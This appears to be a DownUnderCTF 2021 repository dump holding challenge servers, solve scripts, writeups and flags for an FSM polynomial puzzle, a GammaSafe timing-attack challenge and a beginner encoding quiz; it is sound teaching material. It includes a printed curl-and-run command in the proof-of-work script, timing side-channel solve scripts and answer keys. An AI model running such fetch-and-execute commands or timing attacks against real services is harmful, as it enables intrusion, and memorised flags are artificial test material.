98->73 102 47017*x + 3430 92->5 82 27827*x + 3394 64->62 103 71821*x + 1350 57->68 36 101999*x + 11042 58->3 118 11279*x + 4476 20->15 63 14411*x + 6915 78->80 110 14923*x + 6462 28->91 91 63913*x + 2514 3->29 38 94873*x + 13751 70->84 89 98221*x + 14461 39->74 55 70313*x + 5700 90->41 73 89399*x + 8959 60->29 38 85667*x + 8618 14->14 77 55229*x + 1257 64->97 108 94849*x + 14655 97->62 103 11273*x + 5610 6->57 109 63029*x + 3572 10->73 102 46619*x + 7481 86->54 94 35221*x + 4687 78->38 75 22769*x + 3834 15->67 117 75793*x + 5480 68->48 78 50153*x + 6587 60->47 90 33487*x + 433 3->62 103 10733*x + 3041 88->85 83 33797*x + 176 93->15 63 80671*x + 5900 10->59 84 22073*x + 7042 91->40 34 37097*x + 886 68->60 85 92567*x + 11674 96->96 67 49277*x + 7085 32->56 119 60133*x + 72 88->77 106 65717*x + 893 58->6 123 72997*x + 4583 26->28 50 28807*x + 918 59->94 125 95111*x + 13362 96->32 69 93563*x + 13681 28->36 79 81233*x + 23 29->77 106 25589*x + 8073 12->13 99 21799*x + 6271 33->36 79 82013*x + 1296 36->31 47 74699*x + 3543 4->66 44 69383*x + 653 81->39 113 51991*x + 234 14->11 43 31649*x + 5629 3->35 88 23057*x + 7420 40->11 43 45181*x + 2029 6->55 39 47743*x + 1156 91->44 45 56767*x + 4444 82->98 93 25183*x + 6389 26->83 12 41659*x + 6989 29->55 39 443*x + 4875 44->62 103 2179*x + 1167 84->47 90 9343*x + 3042 46->24 65 69767*x + 796 1->44 45 80447*x + 5801 76->4 48 1033*x + 7429 45->90 86 63541*x + 5308 7->52 42 5477*x + 2764 43->47 90 42499*x + 5383 49->22 64 1709*x + 5403 13->44 45 72823*x + 5465 60->49 68 96799*x + 16324 50->61 10 57923*x + 7202 86->49 68 4133*x + 3239 4->95 111 102203*x + 13550 81->58 35 87887*x + 14182 30->65 95 32719*x + 8066 52->28 50 58477*x + 3609 25->91 91 10601*x + 7200 43->48 78 23557*x + 6001 12->11 43 42397*x + 2821 3->15 63 55871*x + 1965 34->1 112 97231*x + 15300 11->20 62 92737*x + 11995 17->35 88 56369*x + 7447 54->34 41 74771*x + 241 90->51 97 79451*x + 6817 58->87 121 80863*x + 6908 33->35 88 317*x + 1155 78->34 41 85703*x + 10502 87->5 82 19469*x + 2124 1->17 104 1399*x + 1017 58->1 112 80347*x + 6450 32->53 120 1433*x + 3436 93->90 86 70937*x + 3127 53->35 88 6701*x + 324 9->56 119 10979*x + 3796 68->73 102 75079*x + 6370 40->30 96 12641*x + 6237 26->86 53 91369*x + 9399 75->63 60 5701*x + 7709 88->45 13 5231*x + 786 5->23 11 25577*x + 3248 18->39 113 91541*x + 12631 34->54 94 971*x + 7201 24->86 53 72949*x + 7350 56->24 65 63409*x + 4887 35->32 69 92669*x + 12086 23->70 57 61717*x + 4006 20->66 44 104597*x + 13831 50->97 108 75109*x + 6446 15->23 11 39863*x + 1567 72->54 94 35969*x + 1805 51->4 48 42221*x + 3167 32->48 78 88799*x + 8688 96->2 72 68161*x + 6883 13->58 35 66593*x + 6594 74->64 70 59443*x + 2186 21->18 80 26801*x + 2006 55->30 96 4799*x + 3533 2->90 86 3557*x + 5735 50->13 99 48907*x + 8142 93->77 106 52051*x + 3050 13->62 103 19819*x + 352 33->31 47 103423*x + 8651 97->17 104 36571*x + 6018 33->11 43 68477*x + 4719 34->59 84 29581*x + 5335 0->56 119 20849*x + 6308 35->33 122 33289*x + 6225 48->43 105 101599*x + 14552 38->56 119 93967*x + 15337 23->42 87 67391*x + 7493 40->74 55 67867*x + 5695 61->96 67 70717*x + 4579 41->88 71 25537*x + 6933 63->91 91 69911*x + 1976 31->91 91 88591*x + 9514 22->59 84 36383*x + 3351 82->66 44 77641*x + 4976 49->34 41 26317*x + 4809 73->74 55 62207*x + 4894 91->50 116 15859*x + 1217 95->78 76 68501*x + 6304 30->60 85 92959*x + 16095 39->38 75 48341*x + 6941 93->23 11 23143*x + 5551 67->70 57 13103*x + 7310 15->4 48 31387*x + 2692 96->46 74 18959*x + 7308 50->36 79 62233*x + 5171 0->54 94 16097*x + 818 66->24 65 26263*x + 6896 ================================================ FILE: misc/flying-spaghetti-monster/challenge/pow.py ================================================ #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import base64 import os import secrets import socket import sys import hashlib try: import gmpy2 HAVE_GMP = True except ImportError: HAVE_GMP = False sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n") VERSION = 's' MODULUS = 2**1279-1 CHALSIZE = 2**128 SOLVER_URL = 'https://goo.gle/kctf-pow' def python_sloth_root(x, diff, p): exponent = (p + 1) // 4 for i in range(diff): x = pow(x, exponent, p) ^ 1 return x def python_sloth_square(y, diff, p): for i in range(diff): y = pow(y ^ 1, 2, p) return y def gmpy_sloth_root(x, diff, p): exponent = (p + 1) // 4 for i in range(diff): x = gmpy2.powmod(x, exponent, p).bit_flip(0) return int(x) def gmpy_sloth_square(y, diff, p): y = gmpy2.mpz(y) for i in range(diff): y = gmpy2.powmod(y.bit_flip(0), 2, p) return int(y) def sloth_root(x, diff, p): if HAVE_GMP: return gmpy_sloth_root(x, diff, p) else: return python_sloth_root(x, diff, p) def sloth_square(x, diff, p): if HAVE_GMP: return gmpy_sloth_square(x, diff, p) else: return python_sloth_square(x, diff, p) def encode_number(num): size = (num.bit_length() // 24) * 3 + 3 return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8') def decode_number(enc): return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big') def decode_challenge(enc): dec = enc.split('.') if dec[0] != VERSION: raise Exception('Unknown challenge version') return list(map(decode_number, dec[1:])) def encode_challenge(arr): return '.'.join([VERSION] + list(map(encode_number, arr))) def get_challenge(diff): x = secrets.randbelow(CHALSIZE) return encode_challenge([diff, x]) def solve_challenge(chal): [diff, x] = decode_challenge(chal) y = sloth_root(x, diff, MODULUS) return encode_challenge([y]) def can_bypass(chal, sol): from ecdsa import VerifyingKey from ecdsa.util import sigdecode_der if not sol.startswith('b.'): return False sig = bytes.fromhex(sol[2:]) with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd: vk = VerifyingKey.from_pem(fd.read()) return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der) def verify_challenge(chal, sol, allow_bypass=True): if allow_bypass and can_bypass(chal, sol): return True [diff, x] = decode_challenge(chal) [y] = decode_challenge(sol) res = sloth_square(y, diff, MODULUS) return (x == res) or (MODULUS - x == res) def usage(): sys.stdout.write('Usage:\n') sys.stdout.write('Solve pow: {} solve $challenge\n') sys.stdout.write('Check pow: {} ask $difficulty\n') sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n') sys.stdout.write(' 1337: 1 sec\n') sys.stdout.write(' 31337: 30 secs\n') sys.stdout.write(' 313373: 5 mins\n') sys.stdout.flush() sys.exit(1) def main(): if len(sys.argv) != 3: usage() sys.exit(1) cmd = sys.argv[1] if cmd == 'ask': difficulty = int(sys.argv[2]) if difficulty == 0: sys.stdout.write("== proof-of-work: disabled ==\n") sys.exit(0) challenge = get_challenge(difficulty) sys.stdout.write("== proof-of-work: enabled ==\n") sys.stdout.write("please solve a pow first\n") sys.stdout.write("You can run the solver with:\n") sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge)) sys.stdout.write("===================\n") sys.stdout.write("\n") sys.stdout.write("Solution? ") sys.stdout.flush() solution = '' with os.fdopen(0, "rb", 0) as f: while not solution: line = f.readline().decode("utf-8") if not line: sys.stdout.write("EOF") sys.stdout.flush() sys.exit(1) solution = line.strip() if verify_challenge(challenge, solution): sys.stdout.write("Correct\n") sys.stdout.flush() sys.exit(0) else: sys.stdout.write("Proof-of-work fail") sys.stdout.flush() elif cmd == 'solve': challenge = sys.argv[2] solution = solve_challenge(challenge) if verify_challenge(challenge, solution, False): sys.stderr.write("Solution: \n".format(solution)) sys.stderr.flush() sys.stdout.write(solution) sys.stdout.flush() sys.stderr.write("\n") sys.stderr.flush() sys.exit(0) else: usage() sys.exit(1) if __name__ == "__main__": main() ================================================ FILE: misc/flying-spaghetti-monster/challenge/requirements.txt ================================================ networkx sympy ecdsa ================================================ FILE: misc/flying-spaghetti-monster/challenge/server.py ================================================ #!/usr/bin/env python3 import base64 import inspect import json import random import signal import string import threading import fsm FLAG = open("flag.txt", "r").read().strip() FLAG_TEXT = f""" <:) {FLAG} We know a great deal about the properties of gravity, yet we know nothing about the cause of the force itself. Why are particles attracted to one other? If we review the literature, we find a lot of material dealing with the properties of gravity, but very little dealing with the underlying cause of this attraction. Until we have a proven answer to this question, it seems irresponsible to instruct students in what is, ultimately, just a theory. However, if we must discuss the theory of gravity at all, then it's reasonable that all suggested theories should be given equal time, since none have been proven or disproven. Therefore, I formally submit that the Flying Spaghetti Monster is behind this strange and often misunderstood force. """ # Reflow any multi-line text def clean(data): return " ".join(inspect.cleandoc(data).splitlines()) def die(*_): print("The pirates have disrupted your path, better luck next time") raise SystemExit signal.signal(signal.SIGALRM, die) class ChallengeFSM(fsm.FSM): @staticmethod def get_resp(f_expr, final_state, timeout=0): print(f"{f_expr} -> {final_state}") if timeout > 0: print(f"Pirate attack incoming in {timeout} seconds") signal.alarm(timeout) try: return input().strip() finally: # Cancel the alarm signal.alarm(0) @staticmethod def _check_resp(data, resp): if data != resp: print("You have deviated from the path") raise SystemExit @classmethod def run_canned(cls): canned_data = json.load(open("canned.json")) for entry in canned_data: data, timeout = entry["data"], entry.get("timeout", 0) f_expr, final_state = entry["f_expr"], entry["final_state"] resp = cls.get_resp(f_expr, final_state, timeout=timeout) cls._check_resp(data, resp) def check_canned(self): canned_data = json.load(open("canned.json")) for entry in canned_data: data = entry["data"] f_expr, final_state = entry["f_expr"], entry["final_state"] f, sf = self.get_comp(data) assert f_expr == str(f.as_expr()) assert final_state == sf def challenge(self, data, timeout=0): f, sf = self.get_comp(data) resp = self.get_resp(f.as_expr(), sf, timeout=timeout) self._check_resp(data, resp) # We expect to have a set of initial challenges which are pre-computed so that # we're not loading the FSM data into memory unless the player had already # shown that they know how to respond properly. We have a sanity check later # which ensures that we are made aware of any drift in the canned challenges # and the generated FSM. print("Are you ready to achieve enlightenment?") try: ChallengeFSM.run_canned() except Exception: print("I am broken :( Please contact the organisers and quote reference:") print("\tICUP") raise SystemExit # Now we do a deathrun with random challenges so we need to load the FSM data busy_text = ( "Are you ready, kids?", "Aye, aye, Captain!", "I can't hear you!", "Aye, aye, captain!", "Oh!", "...", "Ohhhhh!", "...", "Okay look, we're loading data and it's going slow", "Really slow apparently", "Wow, what?", ":(", ) loaded_event = threading.Event() def look_busy(): for l in busy_text: print(l) if loaded_event.wait(1): return while True: print("sorry") if loaded_event.wait(1): return t = threading.Thread(target=look_busy) t.start() FSM_OBJ = ChallengeFSM.load(open("fsm.txt")) try: FSM_OBJ.check_canned() except AssertionError: print("I am broken :( Please contact the organisers and quote reference:") print("\tBOFA") raise SystemExit finally: loaded_event.set() get_junk = lambda n: "".join(random.choice(string.ascii_letters) for _ in range(n)) lyrics = ( "who lives in a pineapple under the sea?", "absorbent and yellow and porous is he", "if nautical nonsense be something you wish", "then drop on the deck and flop like a fish!", ) for l in lyrics: print(l) FSM_OBJ.challenge(f"{get_junk(48)} {get_junk(48)}", 1) # Lots of random bytes at the end of this one extends solve time and ensures # they have an online solver which can deal with time limits FSM_OBJ.challenge("ravioli ravioli give me the formuoli! " + get_junk(150), 2) # Finally we'll send them the flag and tell them to have fun ;) f, sf = FSM_OBJ.get_comp(clean(FLAG_TEXT)) print("The pirates left some booty floating in the ocean as they fled") print(f"{f.as_expr()} -> {sf}") ================================================ FILE: misc/flying-spaghetti-monster/challenge.yml ================================================ version: "0.1" id: fsm name: Flying Spaghetti Monster category: misc description: | A glorious tangle came toward me and in it I saw my path unfolding, traced by a single noodly appendage, winding with linear purpose though his corporeal form. Beautiful visions composed of primary colours led me forward, and eventually I reached the end without knowing precisely how I had arrived. Author: hypersphere (Cybears) connection_info: nc ${host} ${port} tags: - hard files: - ./challenge/fsm.txt flags: - DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm} ================================================ FILE: misc/flying-spaghetti-monster/solve/Dockerfile.solve ================================================ # vi: ft=dockerfile FROM python:3 COPY requirements.txt requirements-solve.txt /tmp/ RUN python3 -m pip install -r /tmp/requirements-solve.txt COPY fsm.py solve.py /noob/ RUN chmod ugo+x /noob.py WORKDIR /noob ================================================ FILE: misc/flying-spaghetti-monster/solve/fsm.py ================================================ import inspect import itertools import json import random import string import networkx import sympy GEN_CHUNK = 8192 x = sympy.symbols("x") def linfunc_gen(n=None): i = 0 if n is None: gi = itertools.count() else: gi = range(n // GEN_CHUNK + 2) ps = iter(sympy.ntheory.generate.Sieve()) for i in gi: cs = random.sample(range(GEN_CHUNK), GEN_CHUNK) for p, c in zip(ps, cs): yield sympy.Poly(p * x + c + (i * GEN_CHUNK), x) class FSM(): def __init__(self, g): self.g = g @classmethod def new(cls, alphabet=string.printable): # We shuffle the alphabet so that monotonic state numbers don't leak it alphabet = list(alphabet) random.shuffle(alphabet) g = networkx.complete_graph(alphabet, create_using=networkx.DiGraph) # Add loop edges so we can repeat characters for n in g.nodes: g.add_edge(n, n) # Now generate random linear functions for each edge ec = len(g.edges) for e, f in zip(random.sample(tuple(g.edges), ec), linfunc_gen(ec)): ed = g.edges[e] ed["f"], ed["n"] = f, ord(e[1]) ed["fe"] = fe = f.as_expr() # Now that we've added the values to the edges, we can anonymise the # node into a monotonic series of integer values return cls(networkx.convert_node_labels_to_integers(g)) @classmethod def load(cls, fobj): g = networkx.DiGraph() for edge_repr in fobj.readlines(): a_b, n, fe = edge_repr.strip().split("\t") a, b = a_b.split("->") a, n, b = map(int, (a, n, b)) f = sympy.Poly(fe) g.add_edge(a, b, n=n, f=f, fe=fe) return cls(g) def save(self, fobj): for a, b in random.sample(tuple(self.g.edges), len(self.g.edges)): ed = self.g.edges[(a,b)] fobj.write(f"{a}->{b}\t{ed['n']}\t{ed['fe']}\n") def as_edges(self, inputs): # Convert an input iterable into a series of edge traversals. Note that # we add an extra edge from the 0th element to itself to ensure it is # explicitly included in the edge list. first, *rest = inputs for e in networkx.selfloop_edges(self.g): if self.g.edges[e]["n"] == ord(first): yield e a = e[0] break else: raise LookupError(f"Failed to find loop edge for {first!r}") for c in rest: for b, ed in self.g[a].items(): if ed["n"] == ord(c): yield a, b a = b break else: raise LookupError(f"Failed to find edge from {a!r} for {c!r}") def get_comp(self, inputs): # Compose the linear functions along a path of input values fa = sympy.Poly(x) for e in self.as_edges(inputs): fb = self.g.edges[e]["f"] fa = fb.compose(fa) return fa, e[1] if __name__ == "__main__": print("Creating new FSM") fsm_obj = FSM.new() fsm_obj.save(open("fsm.txt", "w")) print("Creating canned challenges") canned_data = [] for data in (l.strip() for l in open("canned-inputs.txt").readlines()): if not data or data.startswith("#"): continue data, *maybe_timeout = data.split(";") f, sf = fsm_obj.get_comp(data) datum = { "data": data, "f_expr": str(f.as_expr()), "final_state": sf, } if maybe_timeout: (timeout, ) = maybe_timeout datum["timeout"] = int(timeout) canned_data.append(datum) json.dump(canned_data, open("canned.json", "w")) print("Done") ================================================ FILE: misc/flying-spaghetti-monster/solve/requirements-solve.txt ================================================ -r requirements.txt pwntools yarl ================================================ FILE: misc/flying-spaghetti-monster/solve/solve.py ================================================ #/usr/bin/env python3 import collections import subprocess import time import re import networkx import pwn import sympy import yarl import fsm x = sympy.symbols("x") def get_coeffs(f): c = f.subs(x, 0) p = f.subs(x, 1) - c return p, c def walk(g, al, c): for bl, zz, ed in g.in_edges(al, data=True): assert zz == al p_, c_ = get_coeffs(ed["f"]) if c - c_ == 0: yield ed["n"] return q, r = divmod(c - c_, p_) if r == 0: try: yield from walk(g, bl, q) except GeneratorExit: pass else: yield ed["n"] return else: raise GeneratorExit def solve(g, f, sf): a, c = get_coeffs(f) ts = time.time() r = "".join(chr(e) for e in walk(g, sf, c)) te = time.time() pwn.log.info(f"solve took {te - ts} seconds") return r # Set up the server and load our graph at the same time since it's slow pwn.context.log_level = "debug" pwn.context.timeout = 2 if pwn.args.HOST: u = yarl.URL(pwn.args.HOST) assert u.scheme == "tcp", "Use tcp://host:port" t = pwn.remote(u.host, u.port) G = fsm.FSM.load(open("../challenge/fsm.txt")).g else: # run in challenge/ dir to test solve locally t = pwn.process(["python", "./server.py"]) G = fsm.FSM.load(open("./fsm.txt")).g # Wait until the server is good to go has_pow = t.recvline_contains(( b"Are you ready to achieve enlightenment?", b"== proof-of-work: enabled ==" )) if "proof-of-work: enabled" in has_pow.decode("ascii", "ignore"): pwn.log.info("pow detected: solving pow") pow = (t.recvline_contains(b"python3") .decode("ascii", "ignore") .strip() .split()[-1]) s = pwn.process(["../challenge/pow.py", "solve", pow]) s.recvline_contains(b'Solution:\n') s.recvline() t.sendline(s.recvline()[:-1]) t.recvline_contains(b"Are you ready to achieve enlightenment?") STATE_DELIM = b" -> " while True: # Wait for lines with " -> " in them l = t.recvline() if not l or STATE_DELIM not in l: continue pwn.log.info("Need to solve %s", l) fe, sf = l.split(STATE_DELIM) f, sf = sympy.Poly(fe.decode()), int(sf) d = solve(G, f, sf) pwn.log.info("Decoded %s", d) try: t.sendline(d.encode()) except EOFError: pwn.log.info("Server closed the connection") break except TimeoutError: if i == 0: continue raise assert "DUCTF{" in d, d ================================================ FILE: misc/flying-spaghetti-monster/solve/writeup.md ================================================ ## Flying Spaghetti Monster This is a challenge that presents something which looks roughly like a finite state machine, defined by its state transitions. Each transition is defined by an integer value (all of which are ASCII printables) and a polynomial of the form `a*x + c` where `a` is prime and `c` is in Z+. Each state is labelled using a monotonic sequence of values which don't correspond to the values associated with each state transition. The player is given this information as a static handout, and the server must have the same data available to it. The player connects to a server for the live component of the challenge. The server presents a series of challenges where the player is given a large polynomial and a single integer value. These are the result of composing each of the polynomials along a series of state transitions, and the label of the state the machine "terminated" at. e.g in the following undirected machine: X / \ 0x42, 3 * x + 7 / \ 0x41, 7 * x + 3 / \ / \ Y --------- Z 0x43, 11 * x + 6 If we wanted to challenge the player to provide the string "BC", we'd take the path from X -> Y -> Z which have the two ASCII values we need. That path would cause us to construct the composition: ``` YZ(XY(x)) = 11 * (3 * x + 7) + 6 -> 33x + 83 ``` Since composition of linear functions isn't generally commutative, if we give the player the final state of the machine (Z in this case), they can work backward, decomposing the polynomial along candidate paths in the state graph. It's pretty easy to prune bad paths by avoiding edges which don't have an `a` coefficient which factors the current decomposed polynomial's `a`, or if the current decomposed `c` minus the edge's `c` isn't factored by the edge's `a` (which is the check the solver uses). They could also prune the full state graph immediately using the prime factorisation of the `a` from the challenge they are given, but I found that spending time building the reduced graph dominated execution and it wasn't worth it since we still traverse the full graph pretty quickly. It's worth noting that the challenge uses a complete digraph with self-loops for each node to make it seem more complicated. That means that the edge X -> Y in the example above would be different to the edge Y -> X if it were constructed like the real challenge's machine. The premise works with an undirected graph as well since each state is roughly associated with a "last ASCII value" traversed. ie. all inbound edges to a node have the same integer value, so the fact that X -> Y is different to Y-> X doesn't really matter because even with an unidirected graph we could statefully interpret the path X -> Y -> X -> Y ... as long as we know the final state of that path. ## Stumbling blocks So the player is challenged with progressively larger polynomials to walk backward along, and increasingly restrictive time limits (using SIGALRM on a Python `input()` call). This is partially intended to act as a rough PoW to avoid people trying to DoS the server, but also to give them an opportunity to learn the system with simple challenges before we force them to script a solution. There are a few steps of optimsation I might expect someone to go through: * realising that factoring large ints in Python is slow - I swapped to using GNU `factor` via `subprocess` * realising that reducing the graph is expensive and unnecessary - Lazy people might not even do this in the first place, :+1: * realising that factoring the given `a` isn't necessary - since a single `divmod(c_decomp - c_edge, a_edge)` is enough to work out if an edge is good candidate - this is ideally "required" to finish the final challenge on time ================================================ FILE: misc/gammasafe/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/server.py /home/ctf/chal/pwn RUN chmod +x /home/ctf/chal/pwn ================================================ FILE: misc/gammasafe/README.md ================================================ # GammaSafe **Category:** Misc **Difficulty:** Easy **Author:** nullableVoid\*#7225 GammaSafe is the industry standard for a libc resistant against gamma rays and other sources of soft errors, yet suitable for an embedded solution; perfect for satellites in orbit! ================================================ FILE: misc/gammasafe/challenge/flag.txt ================================================ DUCTF{>[current year]\n>t1m1ng 4774ck5} ================================================ FILE: misc/gammasafe/challenge/server.py ================================================ #!/usr/bin/python3.8 import time FLAG = open("flag.txt", "r").read().strip() SECRET = b"&\xc6\x02\xf2" def main(): print("SATELITE CONNECTION ESTABLISHED") print("-" * 40) print("Warning: This console is restricted to") print("users authorised by the Space Agency for") print("administration purposes only.") print("Unauthorized access is unlawful under") print("intergalactic treaties and will be") print("prosecuted to the fullest extent") print("of the law.") print("-" * 40) attempts = 0 while attempts < 3: print("Signed source IP address (hex): ", end="") try: guess = bytes.fromhex(input()) except: print("Parsing error. Disconnecting...") return for a, b in zip(SECRET, guess): if a != b: break time.sleep(1.2) if SECRET == guess: print("Authenticated. Recorded satelite data decodes to the following:") print(FLAG) return print("Incorrect handshake. This attempt has been logged.") attempts += 1 print("Attempt limit reached. Disconnecting...") if __name__ == "__main__": main() ================================================ FILE: misc/gammasafe/challenge.yml ================================================ version: "0.1" id: gammasafe name: GammaSafe category: misc description: > GammaSafe is the industry standard for a libc resistant against gamma rays and other sources of soft errors, yet suitable for an embedded solution; perfect for satellites in orbit! Author: nullableVoid*#7225 connection_info: nc ${host} ${port} tags: - easy files: - ./publish/gs_strcmp.3 flags: - DUCTF{>[current year]\n>t1m1ng 4774ck5} ================================================ FILE: misc/gammasafe/publish/gs_strcmp.3 ================================================ .TH GS_STRCMP 3 "" "" "GammaSafe Library Manual" .SH NAME GS_strcmp \- safely compare two strings .SH SYNOPSIS .nf .B #include .PP .BI "int GS_strcmp(const GS_STR " s1 ", const GS_STR " s2 ); .fi .SH DESCRIPTION The .BR GS_strcmp () is functionally equivalent to strcmp, comparing the two strings .I s1 and .IR s2 character by character. .PP The function is considerably slower than the normal strcmp as it has to verify and correct each individual character before comparison, for resilience against soft errors. ================================================ FILE: misc/gammasafe/solve/solve.py ================================================ from pwn import remote, context from sys import argv import time known = b"" context.timeout = None threshold = 0.5 def guess(): global known io = None attempts = 0 guesses = [] for i in range(256): c = bytes([i]) print(known+c) if io is None: io = remote(argv[1], int(argv[2])) print(io.readuntil("(hex): ")) attempts += 1 start = time.time() io.sendline((known + c).hex()) if b"Incorrect handshake" not in (line := io.recvline()): print(line) print(io.recvall()) exit() end = time.time() if attempts >= 3: io.close() io = None attempts = 0 if len(guesses) > 0: if end - start > guesses[-1][0] + threshold: return c elif end - start < guesses[-1][0] - threshold: return guesses[-1][1] else: guesses.append((end - start, c)) while len(known) < 5: known += guess() print(known) ================================================ FILE: misc/gammasafe/solve/solve.threaded.py ================================================ # Author: github/uint0 import time import socket import contextlib import concurrent.futures MAX_THREADS = 8 MIN_SAMPLE_SIZE = 16 remote = ('0.0.0.0', 1337) @contextlib.contextmanager def challenge_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect(remote) try: sock.recv(1024) yield sock finally: sock.close() def make_guess(guess): with challenge_sock() as sock: start = time.time() sock.send(guess.hex().encode() + b'\n') sock.recv(1024) return time.time() - start def check_outlier(times): if len(times) < MIN_SAMPLE_SIZE: return None longest, next_longest, *_ = sorted(times, key=lambda k: times[k], reverse=True) return longest if times[longest] - times[next_longest] > 0.5 else None def guess_character(known): with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: # Manually submit as it allows us to control early exits better guesses = [known + bytes([g]) for g in range(256)] submissions = [executor.submit(make_guess, g) for g in guesses] times = {} for g, s in zip(guesses, submissions): print(g.hex(), end='\r') times[g] = s.result() if o := check_outlier(times): for s in submissions: s.cancel() return o assert False, "Could not find longest" def solve(): known = b'' while len(known) < 4: print(known.hex(), end='\r') known = guess_character(known) return known if __name__ == '__main__': print(solve().hex()) ================================================ FILE: misc/general_skills_quiz/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY /challenge/challenge.py /home/ctf/chal/pwn COPY /challenge/wordlist.10000 /home/ctf/chal/wordlist.txt RUN chmod +x /home/ctf/chal/pwn ENV TIME_LIMIT 30 ================================================ FILE: misc/general_skills_quiz/README.md ================================================ # General Skills Quiz Challenge **Author:** Crem **Category:** misc **Difficulty:** Beginner ## Description QUIZ TIME! Just answer the questions as that's pretty easy right? ================================================ FILE: misc/general_skills_quiz/WRITEUP.md ================================================ # General Skills Quiz Write Up The General Skills Quiz is meant to be a beginner challenge in order to learn how to manipulate strings in Python using the commonly known `pwntools` library. There are 11 challenges in total and then you will receive the flag. The solve script that I have written is listed below. Please excuse my terrible code. ```python # /usr/bin/python3 import re, urllib.parse, base64, codecs from pwn import * def extract_q(): print(r.recvuntil(":").decode('utf-8')) q = str(r.recvline().strip()) q_extracted = "".join(re.findall("'([^']*)'", q)) return q_extracted def answer_send(ans, n): answer = ans print("[+] Answer " + str(n) +": " + answer) r.sendline(answer) # Question 1 - Basic Maths r = remote('127.0.0.1', 1337) print(r.recvline().decode('utf-8')) # Sending \n to progress r.sendline() print(r.recvline().decode('utf-8')) print(r.recvline().decode('utf-8')) answer_send("2", 1) # Question 2 - Hex -> Base 10 answer_send(str(int(extract_q(), 0)), 2) # Question 3 - Hex -> ASCII answer_send(bytes.fromhex(extract_q()).decode('utf-8'), 3) # Question 4 - URL Encoded -> ASCII Symbols answer_send(urllib.parse.unquote(extract_q()), 4) # Question 5 - Base64 -> ASCII answer_send(base64.b64decode(extract_q()).decode('utf-8'), 5) # Question 6 - ASCII -> Base64 answer_send(base64.b64encode(str.encode(extract_q())).decode('utf-8'), 6) # Question 7 - ROT13 -> ASCII answer_send(codecs.encode(extract_q(), 'rot_13'), 7) # Question 8 - ASCII -> ROT13 answer_send(codecs.decode(extract_q(), 'rot_13'), 8) # Question 9 - Binary -> Base 10 answer_send(str(int(extract_q(),2)), 9) # Question 10 - Base10 -> Binary answer_send(bin(int(extract_q())), 10) # Question 11 - CTF Q print(r.recvuntil("?")) answer11 = "DUCTF" print("[+] Answer 11: " + answer11) r.sendline(answer11) print(r.recvall().decode('utf-8')) ``` ================================================ FILE: misc/general_skills_quiz/challenge/challenge.py ================================================ #!/usr/bin/python3.8 import random, base64, codecs, string, urllib.parse,re art = r""" ##############################' `############################## ############################' `############################ ###'`#############'`######! !######'`#############'`### #### ########### ####### ####### ########### #### ####. `#' \' \#` #######! DUCTF !####### '#/ `/ `#' .#### #####. !\ i i .######## ########. i i /! .##### ###### `--`--.######### #########.--'--' ###### ######L `#####^^## ##^^#####' J###### #######. .' ""~ ### #. .# ### ~"" `. .####### ########. ; .e#####! ##. .## !#####e, ; .######## ######### `.############ ###. .### ############.' ######### ######## .#############! ##`########'## !#############. ######## #JT&yd# ################. # ## # .################ #by&TL# # ## # #. ## .# `# #' `########' """ flag = r""" .^. (( )) |#|_______________________________ |#||##############################| |#||##############################| |#||##############################| |#||##############################| |#||########DOWNUNDERCTF##########| |#||########(DUCTF 2021)##########| |#||##############################| |#||##############################| |#||##############################| |#||##############################| |#|'------------------------------' |#| |#| |#| |#| |#| |#| |#| |#| |#| |#| |#| |#| DUCTF{you_aced_the_quiz!_have_a_gold_star_champion} |#| |#| |#| //|\\ """ # Wordlist is from https://www.mit.edu/~ecprice/wordlist.10000 word_file = "./wordlist.txt" words = open(word_file).read().splitlines() # function to generate a random word n amount of times def generate_random_word(n): tmp = "" for _ in range(n): tmp += (random.choice(words)) + "_" return tmp.strip("_") # Develops a question where n is the amount of words and q is the question string def question(p, q): plaintext = p print(q) # Uncomment below line if you need answer # print(plaintext) user_answer = input() if (user_answer == plaintext): return True else: return False # Logic of the right or wrong answer. Pass in the question function and a compliment to the user if they get it right. def logic(full_q, compliment): if (full_q): print(compliment) print() else: print() print("\t\t\t\tYOU CARKED IT!") print() print(art) exit() # Question 1 - Basic Maths q1_plaintext = "2" q1_math = "Answer this maths question: 1+1=?" # Question 2 - Hex -> Base 10 q2_plaintext = str(random.randint(10,255)) q2_hex2base10 ="Decode this hex string and provide me the original number (base 10): " + hex(int(q2_plaintext)) # Question 3 - Hex -> ASCII q3_plaintext = str(random.choice(string.ascii_letters)) q3_hex2ascii = "Decode this hex string and provide me the original ASCII letter: " + q3_plaintext.encode("utf-8").hex() # Question 4 - URL Encoded -> ASCII Symbols q4_plaintext = random.choice(string.punctuation) + random.choice(string.punctuation) + random.choice(string.punctuation) q4_urlencode2ascii = "Decode this URL encoded string and provide me the original ASCII symbols: " + urllib.parse.quote(q4_plaintext) # Question 5 - Base64 -> ASCII q5_plaintext = generate_random_word(4) q5_b64decode = "Decode this base64 string and provide me the plaintext: " + base64.b64encode(str.encode(q5_plaintext)).decode("UTF-8") # Question 6 - ASCII -> Base64 q6_start = generate_random_word(4) q6_end = base64.b64encode(str.encode(q6_start)).decode("UTF-8") q6_b64encode = "Encode this plaintext string and provide me the Base64: " + q6_start # Question 7 - ROT13 -> ASCII q7_plaintext = 